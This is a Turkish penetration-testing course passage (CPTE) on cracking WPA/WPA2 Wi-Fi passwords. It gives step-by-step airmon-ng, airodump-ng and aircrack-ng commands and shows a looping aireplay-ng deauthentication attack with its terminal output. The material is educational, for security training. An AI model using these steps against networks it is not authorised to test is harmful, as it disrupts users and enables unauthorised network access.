

## Certified Penetration Testing Engineer (CPTE) Eğitimi

KABLOSUZ AG SALDIRILARI

## -WPA / WPA2 ŞIFRELI AĞLARA SALDIRI

WPA/WPA2 şifreli ağlar wep şifreli ağlara göre daha güvenlidir, nedeni ise brute force ve wordlist yöntemine dayanmasıdır, kullanılması önerilen şifreleme türü WPA2-PSK'dır.

Öncelik olarak <airmon-ng> komutu ile kablosuz Ağ interfacesi öğrenilir.

```
root@Hackings: ~

File Edit View Search Terminal Help
root@Hackings:~# airmon-ng

Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy0]
root@Hackings:~#
```

<airmon-ng start wlano> komutu ile kablosuz Ağ kartı aktif edilir.

```
root@Hackings: ~
File Edit View Search Terminal Help
oot@Hackings:~# airmon-ng start wlan0
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID
       Name
792
       dhclient
912
       NetworkManager
4052
       wpa_supplicant
Interface
               Chipset
                                Driver
wlan0
               Ralink RT2870/3070
                                        rt2800usb - [phy0]
                                (monitor mode enabled on mon0)
oot@Hackings:~#
```

<airodump-ng mono> komutu ile çevredeki kablosuz ağlar hakkında gerekli bilgilerin alınması için tarama işlemi başlatılır.

Görüldüğü gibi çevredeki bazı kablosuz ağlar ve hakkındaki bilgiler çıktı, BSSID, CH, ENC, ESSID. Şimdi handshake toplama işlemi başlatılması gerekir. Bunun için öncelik olarak, hedef router'ın mac adresi olan "BSSID" numarası alınır, ardından ise "CH" yani kanal numarası alınır. "airodump-ng –w /root/Desktop/isim.cap <.cap dosyasının kayıt edileceği path> --encrypter <şifreleme algoritması> -c <kanal numarası> --bssid <hedef router mac adresi> mono <aktif edilen ağ kartı>" son olarak "WPA Handshake" yazısı görüntülendiği zaman paket toplama işlemi gerçekleşmiş ve parola kırma saldırısı başlatılabilir demektir.

Fakat paket gelmeme durumlarında "aireplay-ng -o <kaç adet broadcast paketi gönderileceği belirtilir>" o yapılır ise sonsuz döngüye girer "-a <hedef routerin MAC adresi>", "mono <wireless interface>" şeklinde deaut paketleri gönderilir.

```
File Edit View Search Terminal Help

root@Hackings:-# aireplay-ng -0 0 -a 00:1C:A8:DC:2D:5F mon0
04:22:40 Waiting for beacon frame (BSSID: 00:1C:A8:DC:2D:5F) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
04:22:40 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]
04:22:41 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]
04:22:42 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]
04:22:42 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]
04:22:43 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]
04:22:44 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]
04:22:45 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]
04:22:46 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]
04:22:47 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]
04:22:48 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]
04:22:49 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]
04:22:40 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]
04:22:45 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]
04:22:46 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]
```

Son olarak yakalanmış olan handshake dosyasına bruteforce saldırısı yapılır. "aircrack-ng -w <wordlist dosyasının bulundugu yer>", "<.CAP dosyasının bulundugu path.>" şeklinde parola kırma saldırı başlatılır. Wordlist üzerinden deneme yanılma yöntemi ile parolayı doğrulanır ve "KEY FOUND!" kısmında gözükmektedir.